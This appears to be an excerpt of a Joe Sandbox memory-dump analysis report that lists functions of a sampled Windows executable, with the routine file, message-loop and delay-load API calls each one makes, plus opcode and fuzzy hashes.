Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 15c49645ae947bc9d886009c95b2f94d8af3cf3aba4b9e0e598e8e73a7603f1a
Instruction ID: 575f107f4ab3089286837bd8f3188ab6c517550154c151b673e53243b70f4802
Opcode Fuzzy Hash: 15c49645ae947bc9d886009c95b2f94d8af3cf3aba4b9e0e598e8e73a7603f1a
Instruction Fuzzy Hash: 40D0A770610A8CBFDF406E629C0297DBAD8EB11350F004135FC08A5151EF72CD216391

Function 001D971A Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,001D964C), ref: 001D9726

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 8440101d1dd6b956d1f9511241c040fe12505a2c04b4d91c7a6d8379c9d6c67c
Instruction ID: 6dfc84f0eb21a60a6c317f30938a03dd634c25ab5ff6ee25eb9c67904478bd05
Opcode Fuzzy Hash: 8440101d1dd6b956d1f9511241c040fe12505a2c04b4d91c7a6d8379c9d6c67c
Instruction Fuzzy Hash: 2DD01230031200958E610E389D8A06576529B433A6F28DAE5E075C41A1CB22C843F940

Function 001EBF77 Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 001EBF9C

Part of subcall function 001E991E: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 001E992F
Part of subcall function 001E991E: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 001E9940
Part of subcall function 001E991E: TranslateMessage.USER32(?), ref: 001E994A
Part of subcall function 001E991E: DispatchMessageW.USER32(?), ref: 001E9954

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Message$DispatchItemPeekSendTranslate
String ID:
API String ID: 4142818094-0
Opcode ID: 1b3d3cf53958985ce4f5dcb4ce2d3d0182b4910413a06e719ebe97fcea09a3ca
Instruction ID: ce5a11079279ade2f77dd381b14fb478b292e93a929ee08158af4dc4fab34d42
Opcode Fuzzy Hash: 1b3d3cf53958985ce4f5dcb4ce2d3d0182b4910413a06e719ebe97fcea09a3ca
Instruction Fuzzy Hash: D0D09E71144300EBD7116B52DD06F0A7AE2BBACB09F404658B244340B2C6629D30AB02

Function 001EC726 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 001EC738

Part of subcall function 001ECABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 001ECB39
Part of subcall function 001ECABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 001ECB4A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8ed37d1d9e384083d4c231545fb0dbafb2967b9b9675aa9d8a0edaceebda53d1
Instruction ID: 7f14f41e2b7520cbb847231dde6ca47c13b191cb3b076b99b0a01beadee6510f
Opcode Fuzzy Hash: 8ed37d1d9e384083d4c231545fb0dbafb2967b9b9675aa9d8a0edaceebda53d1
Instruction Fuzzy Hash: CCB012A1378B817C7708A14A5D43C3F011CC0D1B20330452FB801D41C2FA401C528576

Function 001EC75F Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 001EC738

Part of subcall function 001ECABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 001ECB39
Part of subcall function 001ECABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 001ECB4A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e4fa759fa773583f88a67353a5c7af5504b6251c743deb871c9456ef0e8f6534
Instruction ID: a2dcbb4d1ba26b8f126e5f5311ba248a1c7811ca1d7e76d6aaac2442be9db86e
Opcode Fuzzy Hash: e4fa759fa773583f88a67353a5c7af5504b6251c743deb871c9456ef0e8f6534
Instruction Fuzzy Hash: ACB01291378B816D7348E10E6F03C3F011CC0C5B10330442FB801C12C2FA400C134572

Function 001EC74B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 001EC738

Part of subcall function 001ECABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 001ECB39
Part of subcall function 001ECABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 001ECB4A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 707bc37e64159144dd6b7b46781ea2ea21885938d07ddd1af7c8fa91a037e44c
Instruction ID: 3a8ae590a04d9e72606a0a554afeed07254fec2f7c177fbb4cf0333e35349e0e
Opcode Fuzzy Hash: 707bc37e64159144dd6b7b46781ea2ea21885938d07ddd1af7c8fa91a037e44c
Instruction Fuzzy Hash: EEB01291378B816C7348E10E5D03C3F011CC0C1B20330842FBC41C12C2FA400C124572

Function 001EC741 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 001EC738

Part of subcall function 001ECABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 001ECB39
Part of subcall function 001ECABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 001ECB4A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 283a88c444baa082bf5a5c2c560af4b2bb1361d0c2ac0d39789e9ea662e778f8
Instruction ID: bbb9ab98fbdaf1c81c694c2c0f34e0d9326ed5a7b91001a2955d417202abfd75
Opcode Fuzzy Hash: 283a88c444baa082bf5a5c2c560af4b2bb1361d0c2ac0d39789e9ea662e778f8
Instruction Fuzzy Hash: 89B01291378B816C7348E10A9D03C3F011CC0C1B10330452FB802C11C2FA400C124176

Function 001EC787 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 001EC799

Part of subcall function 001ECABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 001ECB39
Part of subcall function 001ECABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 001ECB4A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cc387bda4aa90fa349dea24d7e506cd5e2a2d37bd52df4276c18bbdafdea04a7
Instruction ID: 5552f8a8327120ecec9c187f7bb68f99104d03ed6b416320fee021da43b177f6
Opcode Fuzzy Hash: cc387bda4aa90fa349dea24d7e506cd5e2a2d37bd52df4276c18bbdafdea04a7
Instruction Fuzzy Hash: 0BB01291278B817D7348A1125C42C3F210DC0D2B14331C43FBC41C10C3FB800C664076

Function 001EC7B6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 001EC799

Part of subcall function 001ECABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 001ECB39
Part of subcall function 001ECABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 001ECB4A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 994430b334907176db2ed2abe0bfc5a010fd88906ba01fdacbcc825d95b3daa7
Instruction ID: e3074917096544a41f84ae821324b87b0a78261d97bf4703b7f8913670328af6
Opcode Fuzzy Hash: 994430b334907176db2ed2abe0bfc5a010fd88906ba01fdacbcc825d95b3daa7
Instruction Fuzzy Hash: 7BB01291278B856D7348F10B5C02C3F210CC0D1B14331843FB841C11C3FB800C62417A

Function 001EC7C0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 001EC799

Part of subcall function 001ECABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 001ECB39
Part of subcall function 001ECABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 001ECB4A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d5e95301fd158645f684fe3e720f0c1fdb2bfe92496f8a293f450ce80d920fa2
Instruction ID: cb0787762316210a87f8657253026ebdb18eb21c9987b1472f5d0102c5ac1164
Opcode Fuzzy Hash: d5e95301fd158645f684fe3e720f0c1fdb2bfe92496f8a293f450ce80d920fa2
Instruction Fuzzy Hash: 2FB0129127CB816D7348E1165D02D3F210DC0D1B14331843FB841C21C3FB800CAB4076

Function 001EC75A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 001EC738

Part of subcall function 001ECABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 001ECB39
Part of subcall function 001ECABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 001ECB4A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1ff65e26a4516c945633b7d21d6c606b16eddac41ee4adcc53829c2278674e72
Instruction ID: 74d91f7baedccea52366b19ddb5568a86ed2808b0ab78e91db31c0b9a1c2c5bc
Opcode Fuzzy Hash: 1ff65e26a4516c945633b7d21d6c606b16eddac41ee4adcc53829c2278674e72
Instruction Fuzzy Hash: F6A011A22B8A82BC3208A202AC03C3F020CC0C2B20330882FB80280082BA80080200B0

Function 001EC778 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 001EC738

Part of subcall function 001ECABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 001ECB39
Part of subcall function 001ECABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 001ECB4A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 27d80372a0e902425a5d9ec3c3e305739ca2f220e7ae899b4a1ab8ee96c5a4ea
Instruction ID: 74d91f7baedccea52366b19ddb5568a86ed2808b0ab78e91db31c0b9a1c2c5bc
Opcode Fuzzy Hash: 27d80372a0e902425a5d9ec3c3e305739ca2f220e7ae899b4a1ab8ee96c5a4ea
Instruction Fuzzy Hash: F6A011A22B8A82BC3208A202AC03C3F020CC0C2B20330882FB80280082BA80080200B0

Function 001EC76E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 001EC738

Part of subcall function 001ECABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 001ECB39
Part of subcall function 001ECABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 001ECB4A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3771b48b5693339814ad328b09a2997f1d37b15f3f0c56b257203ec149efad85
Instruction ID: 74d91f7baedccea52366b19ddb5568a86ed2808b0ab78e91db31c0b9a1c2c5bc
Opcode Fuzzy Hash: 3771b48b5693339814ad328b09a2997f1d37b15f3f0c56b257203ec149efad85
Instruction Fuzzy Hash: F6A011A22B8A82BC3208A202AC03C3F020CC0C2B20330882FB80280082BA80080200B0

Function 001EC782 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 001EC738

Part of subcall function 001ECABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 001ECB39
Part of subcall function 001ECABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 001ECB4A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: df5507f411ee60fbb301e9cafb27bf4e14532a0e440e7c33c8cc33123bb03cee
Instruction ID: 74d91f7baedccea52366b19ddb5568a86ed2808b0ab78e91db31c0b9a1c2c5bc
Opcode Fuzzy Hash: df5507f411ee60fbb301e9cafb27bf4e14532a0e440e7c33c8cc33123bb03cee
Instruction Fuzzy Hash: F6A011A22B8A82BC3208A202AC03C3F020CC0C2B20330882FB80280082BA80080200B0

Function 001EC7B1 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 001EC799

Part of subcall function 001ECABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 001ECB39
Part of subcall function 001ECABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 001ECB4A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cf85380136f2ca354fd8895685b57133ae48bcea5022844bd8daad3473810801
Instruction ID: ab2abd36868bb0a32a819e7374cd1c3cb29135753634e5afd8c21fd557297425
Opcode Fuzzy Hash: cf85380136f2ca354fd8895685b57133ae48bcea5022844bd8daad3473810801
Instruction Fuzzy Hash: F6A012911689827C3108A1025C02C3F110CC0C1B10331482EB842800827B8008524074

Function 001EC7A7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 001EC799

Part of subcall function 001ECABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 001ECB39
Part of subcall function 001ECABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 001ECB4A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b203b0121b5bebf433795e02d084ed43ed6f81a3ca58558ad678672077920901
Instruction ID: ab2abd36868bb0a32a819e7374cd1c3cb29135753634e5afd8c21fd557297425
Opcode Fuzzy Hash: b203b0121b5bebf433795e02d084ed43ed6f81a3ca58558ad678672077920901
Instruction Fuzzy Hash: F6A012911689827C3108A1025C02C3F110CC0C1B10331482EB842800827B8008524074

Function 001D9B6A Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,001D8EDB,?,?,-00001954), ref: 001D9B6D

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: eb7e5c2ef7d13bdb82949804444784a8bf4368dd5980b78c6f61f02df7f767ef
Instruction ID: b4e73077ef23726711ee00a365d581b6af3e91beba5ddf95d3f2bd13416a1745
Opcode Fuzzy Hash: eb7e5c2ef7d13bdb82949804444784a8bf4368dd5980b78c6f61f02df7f767ef
Instruction Fuzzy Hash: 4BB012700E100587DE002B30DC089103911D71130670081606006C4061CB12C0025600

Function 001E9023 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,001E927A,00212120,00000000,00213122,00000006), ref: 001E9027

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 1cd6a64386ce53d7d64db80d0b302f6fde8d7b036222a59f6874a16fbd158f74
Instruction ID: fb1f82abe61f78546e736cca1ac04ace3bc3cf1c42015d57c4dadd61db8660db
Opcode Fuzzy Hash: 1cd6a64386ce53d7d64db80d0b302f6fde8d7b036222a59f6874a16fbd158f74
Instruction Fuzzy Hash: DEA0123019420646CE000B30DC4DC15B6505760702F0086207006C00A0CF308810E500

Function 001D94A3 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,001D9473), ref: 001D94BE

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
